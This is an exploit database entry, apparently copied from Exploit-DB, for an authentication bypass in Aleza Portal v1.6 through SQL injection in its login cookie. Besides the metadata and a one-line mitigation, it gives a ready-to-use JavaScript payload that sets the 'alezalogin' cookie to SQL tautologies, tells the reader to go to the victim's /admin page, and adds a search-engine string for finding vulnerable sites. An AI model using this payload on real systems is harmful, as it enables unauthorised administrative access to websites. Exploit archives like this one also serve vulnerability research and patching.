Aleza Portal v1.6 - Insecure (SQLi) Cookie Handling

vendor:

Aleza Portal

by:

KnocKout

8,8

CVSS

HIGH

SQLi Cookie Handling

CWE

Product Name: Aleza Portal

Affected Version From: Aleza Portal v1.6

Affected Version To: Aleza Portal v1.6

Patch Exists: NO

Related CWE: N/A

CPE: a:webavail:aleza_portal:1.6

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2001

Aleza Portal v1.6 – Insecure (SQLi) Cookie Handling

Browser Injection for handling() by Javascript-SQLi Codes. Javascript code: javascript:document.cookie="alezalogin=login='or'level=11&pass='or';path=/"; Go to http://[Victim]/admin

Mitigation:

Ensure that user input is properly validated and sanitized before being used in SQL queries.

Source

Exploit-DB raw data:

Aleza Portal v1.6 - Insecure (SQLi) Cookie Handling 
=========================================================
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout 
[~] Contact : knockoutr@msn.com
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Web App. : Aleza Portal v1.6
~Software: http://www.webavail.com/
-Demo : http://www.webavail.com/alezademo/
~Vulnerability Style : (SQLi) Cookie Handling
~Google Keywords : Copyright 2001 WebAvail Productions, Inc. All Rights Reserved.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    ~~~~~~~~ Explotation ~~~~~~~~~~~

    Browser Injection for handling() by Javascript-SQLi Codes
    ================================
    javascript:document.cookie="alezalogin=login='or'level=11&pass='or';path=/";
    ================================
          [+]  Exploitable Browser Injected!

          [+]   Go to : http://[Victim]/admin
          
      
      GoodLucK ;)